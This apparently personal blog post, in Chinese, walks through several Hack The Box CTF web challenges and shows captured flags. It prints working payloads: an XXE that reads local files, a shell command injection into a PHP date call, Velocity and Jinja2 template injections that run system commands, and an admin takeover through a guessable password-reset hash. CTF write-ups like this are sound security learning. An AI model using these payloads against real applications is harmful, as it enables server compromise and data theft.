跳过正文

HTB CTF Try Out

·1859 字·4 分钟
LXY
作者
LXY
网络安全业余爱好者,热衷于记录实战经验、分享工具与技术,致力于持续学习与成长。
目录

CTF try out
#

Jailbreak
#

The crew secures an experimental Pip-Boy from a black market merchant, recognizing its potential to unlock the heavily guarded bunker of Vault 79. Back at their hideout, the hackers and engineers collaborate to jailbreak the device, working meticulously to bypass its sophisticated biometric locks. Using custom firmware and a series of precise modifications, can you bring the device to full operational status in order to pair it with the vault door’s access port. The flag is located in /flag.txt 

发现一个xml更新的页面,可以更改数据

image.png

尝试一下XXE

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<FirmwareUpdateConfig>
  <Firmware>
    <Version>&xxe;</Version>
    <name>&xxe;</name>
  </Firmware>
</FirmwareUpdateConfig>
image.png

得到HTB{b1om3tric_l0cks_4nd_fl1cker1ng_l1ghts_18fc482a300c178a4d8b90dcbc45f354}

Flag Command
#

Embark on the “Dimensional Escape Quest” where you wake up in a mysterious forest maze that’s not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape! 
踏上”维度逃脱大冒险”,你醒来在一个神秘森林迷宫中,这里似乎不属于这个世界。在充满奇幻的迷宫里,你需要引导会唱歌的松鼠、淘气的仙子,以及脾气古怪的巫师。这个奇妙的迷宫可能会带你去往另一个世界,带来意想不到的惊喜。你能否征服这个魔法迷宫,还是会在魔法挑战的另一个维度中迷失?这场神秘的逃脱之旅就此展开!

具体看一下前端代码

commands.js

export const START = 'YOU WAKE UP IN A FOREST.';

export const INITIAL_OPTIONS = [
    '<span class="command">You have 4 options!</span>',
    'HEAD NORTH',
    'HEAD SOUTH',
    'HEAD EAST',
    'HEAD WEST'
];

export const GAME_LOST =  'You <span class="command error">died</span> and couldn\'t escape the forest. Press <span class="command error">restart</span> to try again.';

export const GAME_WON = 'You <span class="command success">escaped</span> the forest and <span class="command success">won</span> the game! Congratulations! Press <span class="command success">restart</span> to play again.';

export const INFO = [
    "You abruptly find yourself lucid in the middle of a bizarre, alien forest.",
    "How the hell did you end up here?",
    "Eerie, indistinguishable sounds ripple through the gnarled trees, setting the hairs on your neck on edge.",
    "Glancing around, you spot a gangly, grinning figure lurking in the shadows, muttering 'Xclow3n' like some sort of deranged mantra, clearly waiting for you to pass out or something. Creepy much?",
    "Heads up! This forest isn't your grandmother's backyard.",
    "It's packed with enough freaks and frights to make a horror movie blush. Time to find your way out.",
    "The stakes? Oh, nothing big. Just your friends, plunged into an abyss of darkness and despair.",
    "Punch in 'start' to kick things off in this twisted adventure!"
];

export const CONTROLS = [
    "Use the <span class='command'>arrow</span> keys to traverse commands in the command history.",
    "Use the <span class='command'>enter</span> key to submit a command.",
];

export const HELP = [
    '<span class="command help">start</span> Start the game',
    '<span class="command help">clear</span> Clear the game screen',
    '<span class="command help">audio</span> Toggle audio on/off',
    '<span class="command help">restart</span> Restart the game',
    '<span class="command help">info</span> Show info about the game',
];
const fetchOptions = () => {
    fetch('/api/options')
        .then((data) => data.json())
        .then((res) => {
            availableOptions = res.allPossibleCommands;

        })
        .catch(() => {
            availableOptions = undefined;
        })
}

访问94.237.58.137:32750/api/options

{
  "allPossibleCommands": {
    "1": [
      "HEAD NORTH",
      "HEAD WEST",
      "HEAD EAST",
      "HEAD SOUTH"
    ],
    "2": [
      "GO DEEPER INTO THE FOREST",
      "FOLLOW A MYSTERIOUS PATH",
      "CLIMB A TREE",
      "TURN BACK"
    ],
    "3": [
      "EXPLORE A CAVE",
      "CROSS A RICKETY BRIDGE",
      "FOLLOW A GLOWING BUTTERFLY",
      "SET UP CAMP"
    ],
    "4": [
      "ENTER A MAGICAL PORTAL",
      "SWIM ACROSS A MYSTERIOUS LAKE",
      "FOLLOW A SINGING SQUIRREL",
      "BUILD A RAFT AND SAIL DOWNSTREAM"
    ],
    "secret": [
      "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
    ]
  }
}

发现这个secret命令

Blip-blop, in a pickle with a hiccup! Shmiggity-shmack

直接post传json得到结果

image.png

TimeKORP
#

Are you ready to unravel the mysteries and expose the truth hidden within KROPs digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine. 
你准备好揭开 KROP 数字领域中的谜团揭露隐藏的真相了吗加入挑战证明你在网络安全领域的实力记住时间就是金钱但在这个情况下回报可能远比你想象的要大得多

代码审计

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

payload

/?format=%H:%M:%S' ; cat /flag ; echo '

HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3_bc8bc9f6133ec62a13686d74cd476c89}

Labyrinth Linguist
#

You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive. 
你和你的阵营被困在一个迷宫内的避难走廊中,同时被 KORP 变异清除者追击。在计划下一步行动时,你们发现了一个由之前的 Fray 竞争者留下的翻译设备,它用于将英语翻译成伏斯利特语,这是一种由最初建造迷宫的文明所使用的古老语言。众所周知,伏斯利特语也曾是迷宫守护者的语言,他们原本是善良的,但后来被 KORP 设计的一种腐蚀性物质所改变,从而转而对抗人类。你需要逆向工程这个设备,以便与变异体取得联系,并抓住你最后的机会活下来。

代码审计

先判断一下是一个spring 项目,重点在于

<dependency>
    <groupId>org.apache.velocity</groupId>
    <artifactId>velocity</artifactId>
    <version>1.7</version>
</dependency>

查到一个对应版本的

@RequestMapping("/")
@ResponseBody
String index(@RequestParam(required = false, name = "text") String textString) {
    if (textString == null) {
        textString = "Example text";
    }

    String template = "";

    try {
        template = readFileToString("/app/src/main/resources/templates/index.html", textString);
    } catch (IOException e) {
        e.printStackTrace();
    }

    RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
    StringReader reader = new StringReader(template);

    org.apache.velocity.Template t = new org.apache.velocity.Template();
    t.setRuntimeServices(runtimeServices);
    try {
        t.setData(runtimeServices.parse(reader, "home"));
        t.initDocument();
        VelocityContext context = new VelocityContext();
        context.put("name", "World");

        StringWriter writer = new StringWriter();
        t.merge(context, writer);
        template = writer.toString();
    } catch (ParseException e) {
        e.printStackTrace();
    }

    return template;
}

使用 Velocity 引擎解析模板:

RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
StringReader reader = new StringReader(template);
t.setData(runtimeServices.parse(reader, "home"));

payload

text=#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('cat /flag.txt'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!_df278938d5e5e04f2708bf061aba29f8}

Guild
#

Welcome to the Guild ! But please wait until our Guild Master verify you. Thanks for the wait 
欢迎加入公会但请耐心等待公会大师验证您感谢您的等待

代码审计

@views.route("/verify",methods=["GET", "POST"])
@login_required
def verify():
    if current_user.username == "admin":
        if request.method == "POST":
            user_id = request.form.get("user_id")
            verf_id = request.form.get("verification_id")
            query = Verification.query.filter_by(id=verf_id).first()

            img = Image.open(query.doc)

            exif_table={}

            for k, v in img.getexif().items():
                tag = TAGS.get(k)
                exif_table[tag]=v

            if "Artist" in exif_table.keys():
                sec_code = exif_table["Artist"]
                query.verified = 1
                db.session.commit()
                return render_template_string("Verified! {}".format(sec_code))
            else:
                return render_template_string("Not Verified! :(")
    else:
        flash("Oops", category="error")
        return redirect(url_for("views.home"))

SSTI

image.png
image.png

获取管理员邮箱

{{User.query.filter_by(username=“admin”).first().email}}

image.png

3050433643573766@master.guild

重置管理员密码

def forgetpassword():
    if request.method == "POST":
        email = request.form.get("email")
        query = User.query.filter_by(email=email).first()
        flash("If email is registered then you will get a link to reset password!", category="success")
        if query:
            # send email the below link
            reset_url = str(hashlib.sha256(email.encode()).hexdigest())
            print(reset_url)
            new_query = Validlinks(email=email, validlink=reset_url)
            db.session.add(new_query)
            db.session.commit()
        
        return redirect(url_for("views.home"))

    return render_template("forgetpassword.html", user=current_user)

访问/changepasswd/a1f75d300086f704325e696d14990f29c636edb4647400b4af44f8dd5433646b

image.png

现在已经是admin

image.png

payload

{% for i in ''.__class__.__mro__[1].__subclasses__() %}
  {% if i.__name__ == 'Popen' %}
    {{ i(['cat','flag.txt'], -1, None, None, -1).communicate()[0] }}
  {% endif %}
{% endfor %}

exiftool -overwrite_original -Artist="{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__ == 'Popen' %}{{ i(['cat','flag.txt'], -1, None, None, -1).communicate()[0] }}{% endif %}{% endfor %}" a.jpg
image.png